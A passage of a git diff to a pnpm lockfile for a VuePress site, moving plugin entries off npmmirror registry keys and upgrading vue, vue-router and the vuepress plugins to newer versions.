sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==} engines: {node: '>=12'} hasBin: true requiresBuild: true @@ -7902,743 +6565,1025 @@ packages: '@vue/composition-api': optional: true dependencies: - vue: registry.npmmirror.com/vue/3.2.45 + vue: 3.3.4 dev: true - registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45: - resolution: {integrity: sha512-DYWYwsG6xNPmLq/FmZn8Ip+qrhFEzA14EI12MsMgVxvHFDYvlr4NXpVF5hrRH1wVcDP8fGi5F4rxuJSl8/r+EQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vue-router/-/vue-router-4.1.6.tgz} - id: registry.npmmirror.com/vue-router/4.1.6 - name: vue-router - version: 4.1.6 + /vue-router@4.2.4(vue@3.3.4): + resolution: {integrity: sha512-9PISkmaCO02OzPVOMq2w82ilty6+xJmQrarYZDkjZBfl4RvYAlt4PKnEX21oW4KTtWfa9OuO/b3qk1Od3AEdCQ==} peerDependencies: vue: ^3.2.0 dependencies: - '@vue/devtools-api': registry.npmmirror.com/@vue/devtools-api/6.4.5 - vue: registry.npmmirror.com/vue/3.2.45 + '@vue/devtools-api': 6.5.0 + vue: 3.3.4 + dev: true + + /vue@3.3.4: + resolution: {integrity: sha512-VTyEYn3yvIeY1Py0WaYGZsXnz3y5UnGi62GjVEqvEGPl6nxbOrCXbVOTQWBEJUqAyTUk2uJ5JLVnYJ6ZzGbrSw==} + dependencies: + '@vue/compiler-dom': 3.3.4 + '@vue/compiler-sfc': 3.3.4 + '@vue/runtime-dom': 3.3.4 + '@vue/server-renderer': 3.3.4(vue@3.3.4) + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/vue/3.2.45: - resolution: {integrity: sha512-9Nx/Mg2b2xWlXykmCwiTUCWHbWIj53bnkizBxKai1g61f2Xit700A1ljowpTIM11e3uipOeiPcSqnmBg6gyiaA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vue/-/vue-3.2.45.tgz} - name: vue - version: 3.2.45 + /vuepress-plugin-auto-catalog@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-Q0MzPYUJdkevvzo/u/rI0F1itbXfHZCgKc9mUAGeJACUK3H1bHQ1jm6DDVuHZCjEShUTKLEtQFe1B+PUDht8tA==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + sass-loader: + optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vue/compiler-dom': registry.npmmirror.com/@vue/compiler-dom/3.2.45 - '@vue/compiler-sfc': registry.npmmirror.com/@vue/compiler-sfc/3.2.45 - '@vue/runtime-dom': registry.npmmirror.com/@vue/runtime-dom/3.2.45 - '@vue/server-renderer': registry.npmmirror.com/@vue/server-renderer/3.2.45_vue@3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-components: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-blog2/2.0.0-beta.124: - resolution: {integrity: sha512-GgSf+7TI5Hvswfr5ABneUJZDbjL3bbHw41R6YJ8V0BB8g4rzcNVeLGhkqCSYHOqd+dfsNoy+/4wu7oI1bwSyIA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-blog2/-/vuepress-plugin-blog2-2.0.0-beta.124.tgz} - name: vuepress-plugin-blog2 - version: 2.0.0-beta.124 + /vuepress-plugin-blog2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-WAdt1AmI15u/zVdgq+pOgUWzxUKWOLcuKmyjbdptr7/Xv2O1uazZ7Iymfa7FycxRbYPeMnQo042KZ1Mb6hltqQ==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - chokidar: registry.npmmirror.com/chokidar/3.5.3 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + chokidar: 3.5.3 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-comment2/2.0.0-beta.124: - resolution: {integrity: sha512-PUksKPihPrdqMueMmSXZVTxlrRJ6eXef1Q9nd/NXTVlDC5eO+0JwA8g5mKwJw+/aZvnyKgepKDRdmDaftADR1w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-comment2/-/vuepress-plugin-comment2-2.0.0-beta.124.tgz} - name: vuepress-plugin-comment2 - version: 2.0.0-beta.124 + /vuepress-plugin-comment2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-TxQlGq1+xYhxgcJoqEzY0uOlT/nwDFL9LMIoffNaXRKgqZjRk7MS9Px5tEE0dKtbXMqSNjgQQwu9oJDCDSfvlw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@waline/client': registry.npmmirror.com/@waline/client/2.14.1 - giscus: registry.npmmirror.com/giscus/1.2.3 - twikoo: registry.npmmirror.com/twikoo/1.6.7 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@waline/client': 2.15.5 + artalk: 2.5.5 + giscus: 1.3.0 + twikoo: 1.6.16 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-components/2.0.0-beta.124: - resolution: {integrity: sha512-paCk1d3CGQeA3Bhs+yFIlGptmtXezXC9r9bHzgFamd2QDvbixrnh8pMNatKjIjFj8J00M+MRwuYuXTOGTrrGKw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-components/-/vuepress-plugin-components-2.0.0-beta.124.tgz} - name: vuepress-plugin-components - version: 2.0.0-beta.124 + /vuepress-plugin-components@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-uID4+56lA8Wox1qMO0nvQkl7OmP0Vr2UZBHtliWR4GqFCz3E1MXxlIg5zPyi1sOyNbqqgkPY4hou1X53pePQ3w==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - balloon-css: registry.npmmirror.com/balloon-css/1.2.0 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-reading-time2: registry.npmmirror.com/vuepress-plugin-reading-time2/2.0.0-beta.124 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@stackblitz/sdk': 1.9.0 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + artplayer: 5.0.9 + balloon-css: 1.2.0 + create-codepen: 0.0.3 + dashjs: 4.7.1 + hls.js: 1.4.8 + mpegts.js: 1.7.3 + plyr: 3.7.8 + qrcode: 1.5.3 + vidstack: 0.6.13 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-reading-time2: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-copy-code2/2.0.0-beta.124: - resolution: {integrity: sha512-e8cVPRlpsd9MSiVxO6LROVWBg10gH/wvxJh7que/4tN4tq+pELO/bPqRY7AOm/z13Wul3zS+ipVZfE6C5UCLBw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-copy-code2/-/vuepress-plugin-copy-code2-2.0.0-beta.124.tgz} - name: vuepress-plugin-copy-code2 - version: 2.0.0-beta.124 + /vuepress-plugin-copy-code2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-98KDPJb/A5JR4EQk15Dhbw3/o7U93gipYTApsw2rCHRn31zFHu0zFTt5NDK/Hb01gd9VAmSLau5164yS0gnQxw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - balloon-css: registry.npmmirror.com/balloon-css/1.2.0 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + balloon-css: 1.2.0 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-copyright2/2.0.0-beta.124: - resolution: {integrity: sha512-8cckN2feN2/qj9eqaqDlng5rJorS6Hxps85c0GvAI40kyH6VzZuj8h6CarBjJ1yfOVk018s2bPat4ciLyEwhQw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-copyright2/-/vuepress-plugin-copyright2-2.0.0-beta.124.tgz} - name: vuepress-plugin-copyright2 - version: 2.0.0-beta.124 + /vuepress-plugin-copyright2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-V0J7WW9QmJta8ssgxZ7yhNXPPexnTiydsFhNxiVPHiZphw1Va3wHKnZUjhWJI+htT8l9U5n3iXmwkKk1ep8l9g==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - vue: registry.npmmirror.com/vue/3.2.45 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-feed2/2.0.0-beta.124: - resolution: {integrity: sha512-ZWoxhyYivCWZlGNLEJw+aYq86xJd8FJBWTLtrd/Y2/rfAhzXvL76OOyQeeKjXIIL4m5lzgnvaa7kT9+6i40huQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-feed2/-/vuepress-plugin-feed2-2.0.0-beta.124.tgz} - name: vuepress-plugin-feed2 - version: 2.0.0-beta.124 + /vuepress-plugin-feed2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-hEk7pDEL5cQCdSRz9LtpDnM4U+ikkbsSnQgvrBelbzC5kKVn10o/3cFsPiMrqd9NL18YhpFy3/eY3AWDMIYiCg==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 - xml-js: registry.npmmirror.com/xml-js/1.6.11 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + cheerio: 1.0.0-rc.12 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + xml-js: 1.6.11 transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-md-enhance/2.0.0-beta.124: - resolution: {integrity: sha512-VwI8vVE92t+MqRxaGg28R2t6bcd05l9+vqgn4XpuRLPJZyF32UptiGvbD7CRcQBAdW1Pe+ewaDn0mwcWFthN4w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-md-enhance/-/vuepress-plugin-md-enhance-2.0.0-beta.124.tgz} - name: vuepress-plugin-md-enhance - version: 2.0.0-beta.124 + /vuepress-plugin-md-enhance@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-UYsMioYt064Y5XnGBaYYQD+uqEmaeiaZVCFqod5HCZkI9h5d2+6VgqdiYc+1IB7EvW7I8u2fOVIQMJyf71KoQw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@mermaid-js/mermaid-mindmap': registry.npmmirror.com/@mermaid-js/mermaid-mindmap/9.2.2 - '@types/katex': registry.npmmirror.com/@types/katex/0.14.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - '@vue/repl': registry.npmmirror.com/@vue/repl/1.3.2_vue@3.2.45 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - balloon-css: registry.npmmirror.com/balloon-css/1.2.0 - chart.js: registry.npmmirror.com/chart.js/4.0.1 - echarts: registry.npmmirror.com/echarts/5.4.0 - flowchart.js: registry.npmmirror.com/flowchart.js/1.17.1 - juice: registry.npmmirror.com/juice/8.1.0 - katex: registry.npmmirror.com/katex/0.16.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 - mathjax-full: registry.npmmirror.com/mathjax-full/3.2.2 - mermaid: registry.npmmirror.com/mermaid/9.2.2 - reveal.js: registry.npmmirror.com/reveal.js/4.4.0 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@babel/core': 7.22.8 + '@mdit/plugin-align': 0.4.8 + '@mdit/plugin-attrs': 0.4.8 + '@mdit/plugin-container': 0.4.8 + '@mdit/plugin-figure': 0.4.8 + '@mdit/plugin-footnote': 0.4.8 + '@mdit/plugin-img-lazyload': 0.4.8 + '@mdit/plugin-img-mark': 0.4.8 + '@mdit/plugin-img-size': 0.4.8 + '@mdit/plugin-include': 0.4.8 + '@mdit/plugin-katex': 0.4.8 + '@mdit/plugin-mark': 0.4.8 + '@mdit/plugin-mathjax': 0.4.8 + '@mdit/plugin-stylize': 0.4.8 + '@mdit/plugin-sub': 0.4.8 + '@mdit/plugin-sup': 0.4.8 + '@mdit/plugin-tab': 0.4.8 + '@mdit/plugin-tasklist': 0.4.8 + '@mdit/plugin-tex': 0.4.8 + '@mdit/plugin-uml': 0.4.8 + '@types/js-yaml': 4.0.5 + '@types/markdown-it': 12.2.3 + '@vue/repl': 2.5.5 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + balloon-css: 1.2.0 + chart.js: 4.3.0 + echarts: 5.4.2 + flowchart.ts: 1.0.0 + js-yaml: 4.1.0 + katex: 0.16.8 + markdown-it: 13.0.1 + mermaid: 10.2.4 + reveal.js: 4.5.0 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - - encoding - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-photo-swipe/2.0.0-beta.124: - resolution: {integrity: sha512-n90Hotxwk9gOXdhRAPgNQEkNXVD+z3sCpE2IxeLJH2fuq4hTU66UMul9TnvE+LqHlaj+q8ZkKIpAa1yUCEobqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-photo-swipe/-/vuepress-plugin-photo-swipe-2.0.0-beta.124.tgz} - name: vuepress-plugin-photo-swipe - version: 2.0.0-beta.124 + /vuepress-plugin-photo-swipe@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-zMisB1GkyzRcWRri8Ff/RKGANPWiVyA28jxB6cRP8gpQ97uapFQ7POEq7IPxkz/gt//gjEpxgJT6sF4kzslcPw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - photoswipe: registry.npmmirror.com/photoswipe/5.3.3 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + photoswipe: 5.3.8 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-pwa2/2.0.0-beta.124: - resolution: {integrity: sha512-Ad6wl+WB0MPsqevlWW3fqmrczPqgFH5iO33o6Kjw0ra2VS8OIEw8Sk8Uf+hehs/1PYB3AizVpi7ZV38V3Tiz5Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-pwa2/-/vuepress-plugin-pwa2-2.0.0-beta.124.tgz} - name: vuepress-plugin-pwa2 - version: 2.0.0-beta.124 + /vuepress-plugin-pwa2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-AjxSSATwNnGni7ADD7GZV4qW3t+kFosHLZxfwkITY79c2eIUIiw17JU1oAjE+UqdlTHb6tcswYuqqq6SL5btrg==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} peerDependencies: - sass-loader: ^13.0.0 + sass-loader: ^13.3.2 + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 peerDependenciesMeta: sass-loader: optional: true + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - mitt: registry.npmmirror.com/mitt/3.0.0 - register-service-worker: registry.npmmirror.com/register-service-worker/1.7.2 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - vuepress-plugin-sass-palette: registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124 - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 - workbox-build: registry.npmmirror.com/workbox-build/6.5.4 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + mitt: 3.0.1 + register-service-worker: 1.7.2 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-sass-palette: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + workbox-build: 7.0.0 transitivePeerDependencies: - '@types/babel__core' - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-reading-time2/2.0.0-beta.124: - resolution: {integrity: sha512-+RF1oCnYFdDYpujjZ5+Ad31W309LOz6c8kCuXHinz+3CiOS684n9zaCFslj4HIYe8EhJRAr+/2U50K20H/+/Zw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vuepress-plugin-reading-time2/-/vuepress-plugin-reading-time2-2.0.0-beta.124.tgz} - name: vuepress-plugin-reading-time2 - version: 2.0.0-beta.124 + /vuepress-plugin-reading-time2@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-EF8ONUcM6Pjeg2vPrxtN+VmAUVq7JtK2VEkm2ISF11wqWS/PW98e9JwR34SQJa4ajWA6D9Y1Rdc/LGlpJiZLkw==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true + dependencies: + '@vuepress/client': 2.0.0-beta.64 + vue: 3.3.4 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color + dev: true + + /vuepress-plugin-rtl@2.0.0-beta.231(vuepress@2.0.0-beta.64): + resolution: {integrity: sha512-4tb1rF75QhnUw2QSeMLpzqHRBaqTO6mh/QktPNJdrbvUN4JVXaM/3D069HpVStqyp57v9kKI1BngJZKKU9GluQ==} + engines: {node: '>=16.19.0', npm: '>=8', pnpm: '>=7'} + peerDependencies: + vuepress: 2.0.0-beta.64 + vuepress-vite: 2.0.0-beta.64 + vuepress-webpack: 2.0.0-beta.64 + peerDependenciesMeta: + vuepress: + optional: true + vuepress-vite: + optional: true + vuepress-webpack: + optional: true dependencies: - vuepress-shared: registry.npmmirror.com/vuepress-shared/2.0.0-beta.124 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + vuepress: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-shared: 2.0.0-beta.231(vuepress@2.0.0-beta.64) transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/vuepress-plugin-sass-palette/2.0.0-beta.124: 